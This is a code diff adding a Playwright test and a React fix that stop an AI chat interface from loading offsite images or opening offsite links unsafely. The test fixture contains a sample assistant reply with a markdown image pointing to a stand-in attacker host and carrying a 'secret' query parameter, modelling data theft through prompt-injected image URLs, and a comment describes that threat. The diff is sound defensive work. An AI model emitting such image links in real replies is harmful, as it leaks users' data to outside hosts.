diff --git a/web/e2e/specs/chat.spec.ts b/web/e2e/specs/chat.spec.ts index cab49828ab..956bf15ccd 100644 --- a/web/e2e/specs/chat.spec.ts +++ b/web/e2e/specs/chat.spec.ts @@ -218,6 +218,50 @@ test.describe("Chat — streaming @medium", () => { frigateApp.page.getByText(/searching for people/i), ).toBeVisible({ timeout: 5_000 }); }); + + test("assistant markdown renders only same-origin images", async ({ + frigateApp, + }) => { + const reply = + "![leaked alt](https://evil.example/x.png?d=secret) " + + "![local](/api/events/abc/thumbnail.webp) " + + "[offsite](https://evil.example/page)"; + await installChatStreamOverride(frigateApp, [ + { type: "content", delta: reply }, + { + type: "messages", + messages: [ + { role: "system", content: "sys" }, + { role: "user", content: "show me" }, + { role: "assistant", content: reply }, + ], + }, + { type: "done" }, + ]); + const offsiteRequests: string[] = []; + frigateApp.page.on("request", (req) => { + if (req.url().includes("evil.example")) offsiteRequests.push(req.url()); + }); + await frigateApp.goto("/chat"); + const input = frigateApp.page.getByPlaceholder(/ask/i); + await expect(input).toBeVisible({ timeout: 10_000 }); + await input.fill("show me"); + await input.press("Enter"); + + await expect(frigateApp.page.getByText("leaked alt")).toBeVisible({ + timeout: 10_000, + }); + await expect( + frigateApp.page.locator('img[src*="evil.example"]'), + ).toHaveCount(0); + await expect( + frigateApp.page.locator('img[src="/api/events/abc/thumbnail.webp"]'), + ).toHaveCount(1); + const link = frigateApp.page.getByRole("link", { name: "offsite" }); + await expect(link).toHaveAttribute("target", "_blank"); + await expect(link).toHaveAttribute("rel", "noopener noreferrer"); + expect(offsiteRequests).toEqual([]); + }); }); test.describe("Chat — stop @medium", () => { diff --git a/web/src/components/chat/ChatMessage.tsx b/web/src/components/chat/ChatMessage.tsx index c5d9a207f8..5213a539dd 100644 --- a/web/src/components/chat/ChatMessage.tsx +++ b/web/src/components/chat/ChatMessage.tsx @@ -18,6 +18,18 @@ import { cn } from "@/lib/utils"; import { ChatAttachmentChip } from "@/components/chat/ChatAttachmentChip"; import { parseAttachedEvent } from "@/utils/chatUtil"; import type { ChatStats, ShowStatsMode } from "@/types/chat"; +import { baseUrl } from "@/api/baseUrl"; + +// Assistant output can carry prompt-injected URLs, and the browser fetches +// images without a click, so only same-origin images render. +function isSameOrigin(url: string | undefined): boolean { + if (!url) return false; + try { + return new URL(url, baseUrl).origin === window.location.origin; + } catch { + return false; + } +} type MessageBubbleProps = { role: "user" | "assistant"; @@ -223,6 +235,23 @@ export function MessageBubble({ {...props} /> ), + img: ({ node: _n, src, alt, ...props }) => + typeof src === "string" && isSameOrigin(src) ? ( + {alt} + ) : ( + <>{alt} + ), + a: ({ node: _n, href, ...props }) => + isSameOrigin(href) ? ( + + ) : ( + + ), }} > {content}